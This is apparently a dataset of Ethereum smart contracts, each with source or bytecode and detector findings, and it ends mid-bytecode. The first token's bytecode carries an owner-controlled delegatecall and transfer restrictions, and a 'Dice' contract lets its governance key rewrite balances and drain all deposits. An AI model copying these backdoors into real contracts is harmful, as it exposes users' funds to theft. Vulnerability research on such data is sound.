820135600160201b81111561034257600080fd5b82018360208201111561035457600080fd5b803590602001918460208302840111600160201b8311171561037557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c457600080fd5b8201836020820111156103d657600080fd5b803590602001918460208302840111600160201b831117156103f757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061098e945050505050565b005b34801561044357600080fd5b506101c4610b45565b34801561045857600080fd5b5061025f610b96565b6101c46004803603604081101561047757600080fd5b506001600160a01b038135169060200135610ba5565b6101c4600480360360408110156104a357600080fd5b810190602081018135600160201b8111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460208302840111600160201b831117156104f057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610bb9915050565b6104356004803603604081101561054657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460018302840111600160201b831117156105a357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610cbb945050505050565b3480156105f057600080fd5b506101ed6004803603604081101561060757600080fd5b506001600160a01b0381358116916020013516610d78565b34801561062b57600080fd5b5061025f610d95565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b820191906000526020600020905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600854600090849084906001600160a01b038084169116148061075e57506008546001600160a01b038281169116145b8061077657506009546001600160a01b038381169116145b8061078b57506008546001600160a01b031632145b806107a057506008546001600160a01b031633145b806107af57506107af326108dd565b6107b857600080fd5b836107c657600192506108ae565b336001600160a01b03871614610831576001600160a01b038616600090815260016020908152604080832033845290915290205484111561080657600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020805485900390555b6001600160a01b03861660009081526020819052604090205484111561085657600080fd5b6001600160a01b0380871660008181526020818152604080832080548a9003905593891680835291849020805489019055835188815293519193600080516020610de4833981519152929081900390910190a3600192505b50509392505050565b601281565b6009546001600160a01b031681565b60006020819052908152604090205481565b600060646109158360405160200180826001600160a01b031660601b8152601401915050604051602081830303815290604052610da4565b8161091c57fe5b061592915050565b6006546001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b6008546001600160a01b031633146109a557600080fd5b306000818152602081905260408082208690556002543380845292829020606460069092028290049055600554825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d6060811015610a6c57600080fd5b50508051825114610a7c57600080fd5b60005b8251811015610b3f57818181518110610a9457fe5b6020026020010151600080858481518110610aab57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610ae357fe5b60200260200101516001600160a01b031660006001600160a01b0316600080516020610de4833981519152848481518110610b1a57fe5b60200260200101516040518082815260200191505060405180910390a3600101610a7f565b50505050565b6000610b50336108dd565b1515600114610b905760405162461bcd60e51b8152600401808060200182810382526038815260200180610dac6038913960400191505060405180910390fd5b50600190565b6005546001600160a01b031681565b6000610bb233848461072e565b9392505050565b6008546000906001600160a01b03163314610bd357600080fd5b82513360009081526020819052604090205490830290811115610bf557600080fd5b336000908152602081905260408120805483900390555b8451811015610cb0576000858281518110610c2357fe5b6020908102919091018101516001600160a01b0381166000818152928390526040909220805488019055915033600080516020610de483398151915260028860408051929091048252519081900360200190a36001600160a01b03811633600080516020610de483398151915260028860408051929091048252519081900360200190a350600101610c0c565b506001949350505050565b6008546001600160a01b03163314610cd257600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610d0c5780518252601f199092019160209182019101610ced565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610d6c576040519150601f19603f3d011682016040523d82523d6000602084013e610d71565b606091505b5050505050565b600160209081526000928352604080842090915290825290205481565b6007546001600160a01b031681565b601001519056fe4f6e6c79206f6e6520696e20612068756e64726564206163636f756e74732073686f756c642062652061626c6520746f20646f2074686973ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200a25fdeba1b85fbc642b725cc45abc8a42b2ac7626ed355e9071c7360dcf271764736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,750
0xBf6f9abc6A672FC88372aA94b34204ed9e3480ae
// SPDX-License-Identifier: MIT pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; uint256 _maxTotalSupply = 3660000*1e18; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); require(_totalSupply.add(amount) <= _maxTotalSupply,"ERC20:mint exceeded max totalSupply"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } contract MerkleDistributor is ERC20, ERC20Detailed{ using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; bytes32 public merkleRoot; // This is a packed array of booleans. mapping(uint256 => uint256) private claimedBitMap; event Claimed(uint256 index, address account, uint256 amount); constructor(bytes32 merkleRoot_) public ERC20Detailed( "BT.Finance IOU","BTU",18 ){ merkleRoot = merkleRoot_; } function isClaimed(uint256 index) public view returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external returns(uint256){ require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.'); // Mark it claimed and send the token. _setClaimed(index); _mint(account,amount); emit Claimed(index, account, amount); return amount; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063395093511161008c5780639e34070f116100665780639e34070f14610308578063a457c2d714610325578063a9059cbb14610351578063dd62ed3e1461037d576100ea565b806339509351146102ae57806370a08231146102da57806395d89b4114610300576100ea565b806323b872dd116100c857806323b872dd146101c65780632e7ba6ef146101fc5780632eb4a7ab14610288578063313ce56714610290576100ea565b806306fdde03146100ef578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b6100f76103ab565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b038135169060200135610441565b604080519115158252519081900360200190f35b6101b461045e565b60408051918252519081900360200190f35b610198600480360360608110156101dc57600080fd5b506001600160a01b03813581169160208101359091169060400135610464565b6101b46004803603608081101561021257600080fd5b8135916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561024957600080fd5b82018360208201111561025b57600080fd5b8035906020019184602083028401116401000000008311171561027d57600080fd5b5090925090506104f1565b6101b461065d565b610298610663565b6040805160ff9092168252519081900360200190f35b610198600480360360408110156102c457600080fd5b506001600160a01b03813516906020013561066c565b6101b4600480360360208110156102f057600080fd5b50356001600160a01b03166106c0565b6100f76106db565b6101986004803603602081101561031e57600080fd5b503561073c565b6101986004803603604081101561033b57600080fd5b506001600160a01b038135169060200135610762565b6101986004803603604081101561036757600080fd5b506001600160a01b0381351690602001356107d0565b6101b46004803603604081101561039357600080fd5b506001600160a01b03813581169160200135166107e4565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061045561044e61080f565b8484610813565b50600192915050565b60035490565b60006104718484846108ff565b6104e78461047d61080f565b6104e285604051806060016040528060288152602001610e1f602891396001600160a01b038a166000908152600260205260408120906104bb61080f565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610a5d16565b610813565b5060019392505050565b60006104fc8661073c565b156105385760405162461bcd60e51b8152600401808060200182810382526028815260200180610db06028913960400191505060405180910390fd5b6040805160208082018990526bffffffffffffffffffffffff19606089901b16828401526054808301889052835180840390910181526074830180855281519183019190912060949287028085018401909552868252936105bc93919288928892839290910190849080828437600092019190915250506007549150849050610af4565b6105f75760405162461bcd60e51b8152600401808060200182810382526021815260200180610dfe6021913960400191505060405180910390fd5b61060087610b9d565b61060a8686610bc4565b604080518881526001600160a01b038816602082015280820187905290517f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0269181900360600190a1509295945050505050565b60075481565b60065460ff1690565b600061045561067961080f565b846104e2856002600061068a61080f565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610d0916565b6001600160a01b031660009081526001602052604090205490565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104375780601f1061040c57610100808354040283529160200191610437565b6101008104600090815260086020526040902054600160ff9092169190911b9081161490565b600061045561076f61080f565b846104e285604051806060016040528060258152602001610eb3602591396002600061079961080f565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610a5d16565b60006104556107dd61080f565b84846108ff565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166108585760405162461bcd60e51b8152600401808060200182810382526024815260200180610e8f6024913960400191505060405180910390fd5b6001600160a01b03821661089d5760405162461bcd60e51b8152600401808060200182810382526022815260200180610d8e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109445760405162461bcd60e51b8152600401808060200182810382526025815260200180610e476025913960400191505060405180910390fd5b6001600160a01b0382166109895760405162461bcd60e51b8152600401808060200182810382526023815260200180610d6b6023913960400191505060405180910390fd5b6109cc81604051806060016040528060268152602001610dd8602691396001600160a01b038616600090815260016020526040902054919063ffffffff610a5d16565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610a01908263ffffffff610d0916565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610aec5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ab1578181015183820152602001610a99565b50505050905090810190601f168015610ade5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081815b8551811015610b92576000868281518110610b1057fe5b60200260200101519050808311610b575782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250610b89565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101610af9565b509092149392505050565b610100810460009081526008602052604090208054600160ff9093169290921b9091179055565b6001600160a01b038216610c1f576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600054600354610c35908363ffffffff610d0916565b1115610c725760405162461bcd60e51b8152600401808060200182810382526023815260200180610e6c6023913960400191505060405180910390fd5b600354610c85908263ffffffff610d0916565b6003556001600160a01b038216600090815260016020526040902054610cb1908263ffffffff610d0916565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600082820183811015610d63576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573734d65726b6c654469737472696275746f723a2044726f7020616c726561647920636c61696d65642e45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d65726b6c654469737472696275746f723a20496e76616c69642070726f6f662e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a6d696e74206578636565646564206d617820746f74616c537570706c7945524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820689b308622ddeaaedb33245cc2f79d85a7d0b5ba690f6cd965706283d744110064736f6c63430005100032
{"success": true, "error": null, "results": {}}
1,751
0xfab1b3bb9bbf6f56a413bed2e3a626c8eedf9419
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyGovernance`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _governance; address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); event GovernanceshipTransferred( address indexed previousGovernance, address indexed newGovernance ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _governance = msgSender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); emit GovernanceshipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function governance() public view returns (address) { return _governance; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyGovernance() { require( _governance == _msgSender(), "Ownable: caller is not the owner" ); _; } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyGovernance` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyGovernance { emit OwnershipTransferred(_governance, address(0)); _governance = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newGovernance) public virtual onlyGovernance { require( newGovernance != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_governance, newGovernance); _governance = newGovernance; } } contract Dice is Context, Ownable { using SafeMath for uint256; uint256 private _totalAmount; mapping(address => uint256) private _userBalanceList; constructor() { _totalAmount = 0; } /** * @dev Get Balance of User */ function balanceOfPlayer(address userAddress) external view returns (uint256) { return _userBalanceList[userAddress]; } /** * @dev Get Total Balance */ function getTotalBalance() external view returns (uint256) { return _totalAmount; } /** * @dev receive event */ receive() external payable { deposit(); } /** * @dev Receive ETH from player and update his balance on DiceContract */ function deposit() public payable { address userAddress = _msgSender(); uint256 depositAmouont = msg.value; // Update Player's Balance _userBalanceList[userAddress] = _userBalanceList[userAddress].add( depositAmouont ); // Update Total amount _totalAmount = _totalAmount.add(depositAmouont); } /** * @dev Withdraw User Balance to user account, only Governance call it */ function userWithdraw( address userAddress, uint256 amount, uint256 updatedAmount ) public payable onlyGovernance { require( _userBalanceList[userAddress] >= amount, "User Balance should be more than withdraw amount." ); // Send ETH From Contract to User Address (bool sent, ) = userAddress.call{value: amount}(""); require(sent, "Failed to Withdraw User."); // Update User Balance _userBalanceList[userAddress] = updatedAmount; // Update Total Balance _totalAmount = _totalAmount.sub(amount); } /** * @dev Withdraw admin Balance to admin account, only Governance call it */ function adminWithdraw(address adminAddress, uint256 amount) public payable onlyGovernance { require( _totalAmount >= amount, "User Balance should be more than withdraw amount." ); // Send ETH From Contract to Admin Address (bool sent, ) = adminAddress.call{value: amount}(""); require(sent, "Failed to Withdraw User."); // Update Total Balance _totalAmount = _totalAmount.sub(amount); } /** * @dev EmergencyWithdraw when need to update contract and then will restore it */ function emergencyWithdraw() public payable onlyGovernance { require(_totalAmount > 0, "Can't send over total ETH amount."); uint256 amount = _totalAmount; address governanceAddress = governance(); // Send ETH From Contract to Governance Address (bool sent, ) = governanceAddress.call{value: amount}(""); require(sent, "Failed to Withdraw Governance"); // Update Total Balance _totalAmount = 0; } }
0x6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b14610175578063c780bd431461018a578063d0e30db0146101bc578063db2e21bc146101c4578063f2fde38b146101cc576100a4565b806312b58349146100a95780632911982e146100d0578063401d4482146101035780635aa6e6751461012f578063715018a614610160576100a4565b366100a4576100a26101ff565b005b600080fd5b3480156100b557600080fd5b506100be61025e565b60408051918252519081900360200190f35b3480156100dc57600080fd5b506100be600480360360208110156100f357600080fd5b50356001600160a01b0316610264565b6100a26004803603604081101561011957600080fd5b506001600160a01b03813516906020013561027f565b34801561013b57600080fd5b506101446103ce565b604080516001600160a01b039092168252519081900360200190f35b34801561016c57600080fd5b506100a26103dd565b34801561018157600080fd5b5061014461047f565b6100a2600480360360608110156101a057600080fd5b506001600160a01b03813516906020810135906040013561048e565b6100a26101ff565b6100a261060f565b3480156101d857600080fd5b506100a2600480360360208110156101ef57600080fd5b50356001600160a01b0316610768565b6000610209610860565b6001600160a01b03811660009081526003602052604090205490915034906102319082610864565b6001600160a01b0383166000908152600360205260409020556002546102579082610864565b6002555050565b60025490565b6001600160a01b031660009081526003602052604090205490565b610287610860565b6000546001600160a01b039081169116146102d7576040805162461bcd60e51b815260206004820181905260248201526000805160206109f1833981519152604482015290519081900360640190fd5b8060025410156103185760405162461bcd60e51b81526004018080602001828103825260318152602001806109c06031913960400191505060405180910390fd5b6040516000906001600160a01b0384169083908381818185875af1925050503d8060008114610363576040519150601f19603f3d011682016040523d82523d6000602084013e610368565b606091505b50509050806103b9576040805162461bcd60e51b81526020600482015260186024820152772330b4b632b2103a37902bb4ba34323930bb902ab9b2b91760411b604482015290519081900360640190fd5b6002546103c690836108c5565b600255505050565b6000546001600160a01b031690565b6103e5610860565b6000546001600160a01b03908116911614610435576040805162461bcd60e51b815260206004820181905260248201526000805160206109f1833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001546001600160a01b031690565b610496610860565b6000546001600160a01b039081169116146104e6576040805162461bcd60e51b815260206004820181905260248201526000805160206109f1833981519152604482015290519081900360640190fd5b600160016